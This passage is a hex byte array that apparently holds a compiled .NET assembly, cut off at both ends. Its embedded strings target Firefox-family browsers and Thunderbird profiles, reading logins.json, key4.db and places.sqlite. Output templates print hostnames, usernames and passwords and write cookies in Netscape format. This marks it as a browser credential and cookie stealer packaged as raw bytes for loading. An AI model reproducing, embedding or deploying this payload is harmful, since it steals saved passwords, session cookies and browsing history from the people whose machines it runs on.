0x78, 0x00, 0x38, 0x00,\n\t0x36, 0x00, 0x29, 0x00, 0x00, 0x19, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x67, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x46, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x03, 0x78, 0x00, 0x00, 0x03,\n\t0x79, 0x00, 0x00, 0x11, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x19, 0x5C, 0x00,\n\t0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00,\n\t0x2E, 0x00, 0x6A, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x11,\n\t0x5C, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x34, 0x00, 0x2E, 0x00,\n\t0x64, 0x00, 0x62, 0x00, 0x00, 0x1D, 0x5C, 0x00, 0x70, 0x00, 0x6C, 0x00,\n\t0x61, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x73, 0x00,\n\t0x71, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x2F,\n\t0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00,\n\t0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x69, 0x00,\n\t0x6E, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x0A, 0x00, 0x00, 0x1F,\n\t0x4D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00,\n\t0x61, 0x00, 0x5C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x72, 0x00, 0x65, 0x00,\n\t0x66, 0x00, 0x6F, 0x00, 0x78, 0x00, 0x00, 0x11, 0x57, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x78, 0x00,\n\t0x00, 0x11, 0x4B, 0x00, 0x2D, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x01, 0x17, 0x54, 0x00, 0x68, 0x00,\n\t0x75, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x72, 0x00, 0x62, 0x00,\n\t0x69, 0x00, 0x72, 0x00, 0x64, 0x00, 0x00, 0x21, 0x43, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x49, 0x00,\n\t0x63, 0x00, 0x65, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2B, 0x38, 0x00, 0x70, 0x00, 0x65, 0x00,\n\t0x63, 0x00, 0x78, 0x00, 0x73, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00,\n\t0x69, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x79, 0x00,\n\t0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x78, 0x00,\n\t0x00, 0x3B, 0x4E, 0x00, 0x45, 0x00, 0x54, 0x00, 0x47, 0x00, 0x41, 0x00,\n\t0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x63, 0x00,\n\t0x68, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00,\n\t0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x6C, 0x00,\n\t0x61, 0x00, 0x63, 0x00, 0x6B, 0x00, 0x48, 0x00, 0x61, 0x00, 0x77, 0x00,\n\t0x00, 0x3F, 0x4D, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x63, 0x00,\n\t0x68, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x20, 0x00, 0x50, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00,\n\t0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x50, 0x00,\n\t0x61, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x4D, 0x00, 0x6F, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00, 0x0D, 0x55, 0x00,\n\t0x4E, 0x00, 0x49, 0x00, 0x51, 0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x0D,\n\t0x2E, 0x00, 0x74, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x64, 0x00, 0x62, 0x00,\n\t0x00, 0x57, 0x48, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6E, 0x00,\n\t0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00,\n\t0x30, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A, 0x00,\n\t0x20, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x50, 0x00,\n\t0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00,\n\t0x64, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x32, 0x00, 0x7D, 0x00,\n\t0x0A, 0x00, 0x0A, 0x00, 0x00, 0x41, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00,\n\t0x09, 0x00, 0x54, 0x00, 0x52, 0x00, 0x55, 0x00, 0x45, 0x00, 0x09, 0x00,\n\t0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x09, 0x00, 0x46, 0x00, 0x41, 0x00,\n\t0x4C, 0x00, 0x53, 0x00, 0x45, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x32, 0x00,\n\t0x7D, 0x00, 0x09, 0x00, 0x7B, 0x00, 0x33, 0x00, 0x7D, 0x00, 0x09, 0x00,\n\t0x7B, 0x00, 0x34, 0x00, 0x7D, 0x00, 0x0D, 0x00, 0x0A, 0x00, 0x00, 0x2D,\n\t0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00,\n\t0x7D, 0x00, 0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00,\n\t0x28, 0x00, 0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x29, 0x00, 0x20, 0x00,\n\t0x7B, 0x00, 0x32, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x00, 0x25, 0x23, 0x00,\n\t0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00,\n\t0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x28, 0x00,\n\t0x7B, 0x00, 0x31, 0x00, 0x7D, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x00, 0x19,\n\t0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00,\n\t0x7D, 0x00, 0x20, 0x00, 0x23, 0x00, 0x23, 0x00, 0x23, 0x00, 0x0A, 0x00,\n\t0x00, 0x11, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x01, 0x5A, 0x66, 0x5D,\n\t0xF4, 0x65, 0x6F, 0x4E, 0xBF, 0xA1, 0x91, 0xC2, 0xE0, 0x98, 0xF3, 0xC7,\n\t0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20,\n\t0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01,\n\t0x01, 0x02, 0x05, 0x20, 0x01, 0x01, 0x11, 0x55, 0x05, 0x20, 0x01, 0x01,\n\t0x11, 0x5D, 0x19, 0x07, 0x0B, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x0E,\n\t0x0E, 0x12, 0x30, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x02, 0x08,\n\t0x11, 0x4C, 0x02, 0x02, 0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x05,\n\t0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x04, 0x20, 0x01, 0x02, 0x0E, 0x05, 0x00,\n\t0x02, 0x02, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x18, 0x07,\n\t0x0A, 0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x0E, 0x0E, 0x12, 0x30, 0x02,\n\t0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x02, 0x08, 0x11, 0x44, 0x02, 0x06,\n\t0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x19, 0x07, 0x0B, 0x15, 0x12, 0x45,\n\t0x01, 0x11, 0x48, 0x0E, 0x0E, 0x12, 0x30, 0x02, 0x15, 0x12, 0x45, 0x01,\n\t0x11, 0x48, 0x02, 0x08, 0x11, 0x48, 0x02, 0x02, 0x06, 0x15, 0x12, 0x45,\n\t0x01, 0x11, 0x48, 0x04, 0x00, 0x01, 0x08, 0x0E, 0x0E, 0x07, 0x0A, 0x0E,\n\t0x0E, 0x02, 0x1D, 0x0E, 0x08, 0x0E, 0x0E, 0x02, 0x12, 0x49, 0x0E, 0x03,\n\t0x20, 0x00, 0x0E, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x06, 0x00, 0x01, 0x12,\n\t0x80, 0x89, 0x0E, 0x04, 0x00, 0x01, 0x0E, 0x0E, 0x05, 0x00, 0x02, 0x01,\n\t0x0E, 0x0E, 0x04, 0x00, 0x01, 0x01, 0x0E, 0x28, 0x07, 0x17, 0x15, 0x12,\n\t0x45, 0x01, 0x11, 0x40, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x12, 0x28, 0x1D,\n\t0x0E, 0x02, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x02, 0x02, 0x02, 0x02,\n\t0x1D, 0x0E, 0x08, 0x0E, 0x11, 0x40, 0x12, 0x28, 0x0E, 0x0E, 0x0E, 0x02,\n\t0x06, 0x15, 0x12, 0x45, 0x01, 0x11, 0x40, 0x05, 0x00, 0x02, 0x01, 0x0E,\n\t0x02, 0x06, 0x00, 0x01, 0x0E, 0x11, 0x80, 0xA1, 0x08, 0x07, 0x05, 0x18,\n\t0x18, 0x18, 0x02, 0x12, 0x49, 0x08, 0x00, 0x01, 0x12, 0x80, 0xA5, 0x11,\n\t0x80, 0xA9, 0x09, 0x00, 0x02, 0x12, 0x80, 0xB1, 0x18, 0x12, 0x80, 0xA5,\n\t0x06, 0x00, 0x01, 0x11, 0x80, 0xB9, 0x0E, 0x03, 0x07, 0x01, 0x02, 0x11,\n\t0x07, 0x0A, 0x18, 0x1D, 0x05, 0x11, 0x50, 0x11, 0x50, 0x02, 0x02, 0x1D,\n\t0x05, 0x0E, 0x12, 0x49, 0x02, 0x02, 0x06, 0x18, 0x05, 0x00, 0x01, 0x1D,\n\t0x05, 0x0E, 0x04, 0x00, 0x01, 0x18, 0x08, 0x08, 0x00, 0x04, 0x01, 0x1D,\n\t0x05, 0x08, 0x18, 0x08, 0x08, 0x00, 0x04, 0x01, 0x18, 0x1D, 0x05, 0x08,\n\t0x08, 0x05, 0x00, 0x00, 0x12, 0x80, 0xC5, 0x05, 0x20, 0x01, 0x0E, 0x1D,\n\t0x05, 0x04, 0x00, 0x01, 0x01, 0x1C, 0x05, 0x00, 0x02, 0x02, 0x18, 0x18,\n\t0x04, 0x00, 0x01, 0x01, 0x18, 0x05, 0x07, 0x02, 0x1D, 0x05, 0x0E, 0x05,\n\t0x20, 0x01, 0x1D, 0x05, 0x0E, 0x09, 0x07, 0x05, 0x0E, 0x12, 0x71, 0x12,\n\t0x75, 0x02, 0x0E, 0x02, 0x06, 0x0E, 0x06, 0x00, 0x03, 0x0E, 0x0E, 0x0E,\n\t0x0E, 0x05, 0x20, 0x01, 0x12, 0x75, 0x0E, 0x03, 0x20, 0x00, 0x02, 0x06,\n\t0x00, 0x02, 0x1D, 0x0E, 0x0E, 0x0E, 0x06, 0x07, 0x03, 0x1D, 0x0E, 0x08,\n\t0x0E, 0x05, 0x20, 0x02, 0x0E, 0x0E, 0x0E, 0x04, 0x07, 0x01, 0x1D, 0x0E,\n\t0x04, 0x07, 0x02, 0x02, 0x0E, 0x03, 0x00, 0x00, 0x08, 0x07, 0x07, 0x04,\n\t0x08, 0x02, 0x02, 0x1D, 0x0E, 0x09, 0x10, 0x01, 0x02, 0x01, 0x10, 0x1D,\n\t0x1E, 0x00, 0x08, 0x03, 0x0A, 0x01, 0x0E, 0x0C, 0x00, 0x05, 0x01, 0x12,\n\t0x80, 0xD5, 0x08, 0x12, 0x80, 0xD5, 0x08, 0x08, 0x07, 0x07, 0x03, 0x1D,\n\t0x0E, 0x02, 0x1D, 0x0E, 0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x0C, 0x07,\n\t0x08, 0x0E, 0x02, 0x1D, 0x0E, 0x08, 0x0E, 0x02, 0x0E, 0x12, 0x49, 0x08,\n\t0x07, 0x05, 0x1D, 0x0E, 0x08, 0x0E, 0x02, 0x0E, 0x0F, 0x07, 0x07, 0x15,\n\t0x12, 0x45, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E, 0x0E, 0x02, 0x1D, 0x0E,\n\t0x05, 0x15, 0x12, 0x45, 0x01, 0x0E, 0x05, 0x20, 0x00, 0x1D, 0x13, 0x00,\n\t0x09, 0x00, 0x02, 0x01, 0x12, 0x80, 0xD5, 0x11, 0x80, 0xDD, 0x03, 0x07,\n\t0x01, 0x08, 0x26, 0x07, 0x22, 0x02, 0x09, 0x08, 0x02, 0x09, 0x0B, 0x08,\n\t0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x11, 0x60, 0x0A, 0x08, 0x02, 0x08,\n\t0x02, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,\n\t0x09, 0x09, 0x09, 0x02, 0x02, 0x04, 0x0A, 0x01, 0x11, 0x64, 0x04, 0x0A,\n\t0x01, 0x11, 0x60, 0x07, 0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04,\n\t0x00, 0x01, 0x0E, 0x0B, 0x22, 0x07, 0x1F, 0x09, 0x0B, 0x08, 0x05, 0x05,\n\t0x08, 0x09, 0x02, 0x02, 0x02, 0x0B, 0x0B, 0x08, 0x08, 0x0B, 0x08, 0x08,\n\t0x0A, 0x1D, 0x0A, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,\n\t0x02, 0x02, 0x02, 0x04, 0x0A, 0x01, 0x11, 0x68, 0x0F, 0x07, 0x0C, 0x08,\n\t0x1D, 0x0E, 0x08, 0x02, 0x02, 0x02, 0x02, 0x08, 0x08, 0x02, 0x02, 0x02,\n\t0x08, 0x00, 0x03, 0x08, 0x0E, 0x0E, 0x11, 0x80, 0xE5, 0x07, 0x20, 0x02,\n\t0x08, 0x0E, 0x11, 0x80, 0xE5, 0x04, 0x20, 0x01, 0x0E, 0x08, 0x06, 0x20,\n\t0x01, 0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x03, 0x04,\n\t0x20, 0x01, 0x08, 0x03, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x08, 0x07, 0x07,\n\t0x05, 0x0B, 0x02, 0x0B, 0x08, 0x02, 0x08, 0x07, 0x06, 0x02, 0x08, 0x08,\n\t0x02, 0x02, 0x02, 0x12, 0x07, 0x0F, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08,\n\t0x08, 0x08, 0x02, 0x0A, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x06, 0x00,\n\t0x02, 0x0A, 0x1D, 0x05, 0x08, 0x09, 0x07, 0x05, 0x0E, 0x12, 0x30, 0x02,\n\t0x12, 0x30, 0x02, 0x03, 0x00, 0x00, 0x0E, 0x03, 0x07, 0x01, 0x0E, 0x07,\n\t0x00, 0x04, 0x0E, 0x0E, 0x1C, 0x1C, 0x1C, 0x06, 0x00, 0x02, 0x0E, 0x0E,\n\t0x1D, 0x1C, 0x06, 0x00, 0x03, 0x0E, 0x0E, 0x1C, 0x1C, 0x05, 0x00, 0x02,\n\t0x0E, 0x0E, 0x1C, 0x1C, 0x07, 0x08, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C,\n\t0x1D, 0x0E, 0x08, 0x0E, 0x15, 0x11, 0x79, 0x01, 0x11, 0x40, 0x11, 0x40,\n\t0x1D, 0x1C, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x45,\n\t0x01, 0x1D, 0x1C, 0x08, 0x20, 0x00, 0x15, 0x11, 0x79, 0x01, 0x13, 0x00,\n\t0x06, 0x15, 0x11, 0x79, 0x01, 0x11, 0x40, 0x04, 0x20, 0x00, 0x13, 0x00,\n\t0x08, 0xB7, 0x7A, 0x5C, 0x56, 0x19, 0x34, 0xE0, 0x89, 0x04, 0x7D, 0x00,\n\t0x2C, 0x00, 0x01, 0x02, 0x03, 0x06, 0x1D, 0x0E, 0x03, 0x06, 0x12, 0x54,\n\t0x03, 0x06, 0x12, 0x5C, 0x03, 0x06, 0x12, 0x58, 0x03, 0x06, 0x1D, 0x05,\n\t0x02, 0x06, 0x0B, 0x04, 0x06, 0x1D, 0x11, 0x68, 0x04, 0x06, 0x1D, 0x11,\n\t0x64, 0x03, 0x06, 0x11, 0x6C, 0x02, 0x06, 0x08, 0x02, 0x06, 0x0A, 0x09,\n\t0x00, 0x01, 0x15, 0x12, 0x45, 0x01, 0x11, 0x4C, 0x0E, 0x09, 0x00, 0x01,\n\t0x15, 0x12, 0x45, 0x01, 0x11, 0x44, 0x0E, 0x09, 0x00, 0x01, 0x15, 0x12,\n\t0x45, 0x01, 0x11, 0x48, 0x0E, 0x09, 0x00, 0x01, 0x15, 0x12, 0x45, 0x01,\n\t0x11, 0x40, 0x0E, 0x03, 0x00, 0x00, 0x01, 0x04, 0x00, 0x01, 0x18, 0x0E,\n\t0x04, 0x00, 0x01, 0x02, 0x18, 0x05, 0x00, 0x02, 0x18, 0x18, 0x0E, 0x04,\n\t0x20, 0x01, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x01, 0x1D, 0x0E, 0x05, 0x20,\n\t0x01, 0x1D, 0x0E, 0x0E, 0x08, 0x00, 0x02, 0x1D, 0x0E, 0x1D, 0x0E, 0x1D,\n\t0x0E, 0x04, 0x00, 0x00, 0x1D, 0x0E, 0x03, 0x20, 0x00, 0x08, 0x04, 0x20,\n\t0x01, 0x02, 0x0B, 0x04, 0x20, 0x01, 0x01, 0x0A, 0x05, 0x20, 0x02, 0x0B,\n\t0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x08, 0x05, 0x20, 0x02, 0x0A, 0x08,\n\t0x08, 0x04, 0x00, 0x01, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x12, 0x30, 0x0E,\n\t0x0E, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x40, 0x05, 0x00, 0x01, 0x0E, 0x11,\n\t0x44, 0x05, 0x00, 0x01, 0x0E, 0x11, 0x48, 0x05, 0x00, 0x01, 0x0E, 0x11,\n\t0x4C, 0x08, 0x00, 0x00, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x05, 0x20,\n\t0x02, 0x01, 0x1C, 0x18, 0x04, 0x20, 0x01, 0x0A, 0x0E, 0x08, 0x20, 0x03,\n\t0x12, 0x69, 0x0E, 0x12, 0x6D, 0x1C, 0x05, 0x20, 0x01, 0x0A, 0x12, 0x69,\n\t0x03, 0x20, 0x00, 0x0A, 0x07, 0x20, 0x02, 0x12, 0x69, 0x12, 0x6D, 0x1C,\n\t0x0A, 0x20, 0x03, 0x08, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50, 0x08, 0x0E,\n\t0x20, 0x05, 0x12, 0x69, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50, 0x08, 0x12,\n\t0x6D, 0x1C, 0x0B, 0x20, 0x03, 0x08, 0x10, 0x11, 0x50, 0x10, 0x11, 0x50,\n\t0x12, 0x69, 0x03, 0x28, 0x00, 0x0E, 0x03, 0x28, 0x00, 0x08, 0x08, 0x01,\n\t0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01, 0x00, 0x01, 0x00,\n\t0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F, 0x6E, 0x45, 0x78,\n\t0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x6F, 0x77,\n\t0x73, 0x01, 0x08, 0x01, 0x00, 0x07, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0F,\n\t0x01, 0x00, 0x0A, 0x50, 0x35, 0x58, 0x37, 0x41, 0x34, 0x51, 0x31, 0x53,\n\t0x45, 0x00, 0x00, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x17, 0x01, 0x00,\n\t0x12, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0xC2,\n\t0xA9, 0x20, 0x20, 0x32, 0x30, 0x32, 0x30, 0x00, 0x00, 0x29, 0x01, 0x00,\n\t0x24, 0x37, 0x62, 0x31, 0x36, 0x30, 0x36, 0x39, 0x38, 0x2D, 0x31, 0x36,\n\t0x63, 0x65, 0x2D, 0x34, 0x34, 0x38, 0x30, 0x2D, 0x62, 0x38, 0x39, 0x37,\n\t0x2D, 0x37, 0x31, 0x37, 0x31, 0x34, 0x32, 0x37, 0x37, 0x30, 0x32, 0x35,\n\t0x65, 0x00, 0x00, 0x0C, 0x01, 0x00, 0x07, 0x31, 0x2E, 0x30, 0x2E, 0x30,\n\t0x2E, 0x30, 0x00, 0x00, 0x49, 0x01, 0x00, 0x1A, 0x2E, 0x4E, 0x45, 0x54,\n\t0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x2C, 0x56, 0x65,\n\t0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x76, 0x34, 0x2E, 0x35, 0x01, 0x00,\n\t0x54, 0x0E, 0x14, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B,\n\t0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x4E, 0x61, 0x6D, 0x65, 0x12,\n\t0x2E, 0x4E, 0x45, 0x54, 0x20, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F,\n\t0x72, 0x6B, 0x20, 0x34, 0x2E, 0x35, 0x04, 0x01, 0x00, 0x00, 0x00, 0x08,\n\t0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x02,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,\n\t0x58, 0x80, 0x00, 0x00, 0x2C, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x2C, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00,\n\t0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00,\n\t0x49, 0x00, 0x4F, 